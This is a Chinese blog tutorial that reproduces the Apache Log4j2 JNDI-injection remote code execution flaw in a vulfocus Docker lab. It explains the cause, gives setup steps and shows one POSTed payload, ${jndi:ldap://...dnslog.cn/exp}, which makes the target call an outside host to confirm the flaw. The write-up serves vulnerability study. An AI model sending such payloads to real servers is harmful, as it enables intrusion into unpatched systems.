Apache log4j2 远程代码执行漏洞复现👻

2023-07-29,,

Apache log4j2 远程代码执行漏洞复现

最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下。找了一会环境还真找到一个。

漏洞原理:

Apache Log4j2 中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

通俗简单的说就是:在打印日志的时候,如果你的日志内容中包含关键词 ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,并且执行

Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

漏洞详情:

Apache Log4j 远程代码执行漏洞 严重程度: 严重由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置漏洞情况分析:Apache Log4j是一个基于Java的日志记录组件。Apache Log4j2是Log4j的升级版本,通过重写Log4j引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。

环境搭建

环境地址:http://vulfocus.fofa.so/#/dashboard

找到了一个docker环境,vulfocus上面可以直接拉取Apache log4j2的环境复现

    安装docker
    安装vulfocus
    直接拉去log4j2环境镜像启动就行

前两步安装docker以及安装vulfocus可以参考如下链接:

https://blog.csdn.net/m0_50406447/article/details/119169686

漏洞复现

启动环境之后打开IP得到如下页面:

访问如下URL地址:http://vulfocus.fofa.so:43133/hello

然后通过POST传入如下payload验证dns访问:

payload:payload=${jndi:ldap://wdhcrj.dnslog.cn/exp}

我们发现成功回显结果,说明执行成功。

下面贴上细节分析的链接:

https://bbs.ichunqiu.com/thread-62322-1-1.html


Apache log4j2 远程代码执行漏洞复现👻的相关教程结束。

《Apache log4j2 远程代码执行漏洞复现👻.doc》

下载本文的Word格式文档,以方便收藏与打印。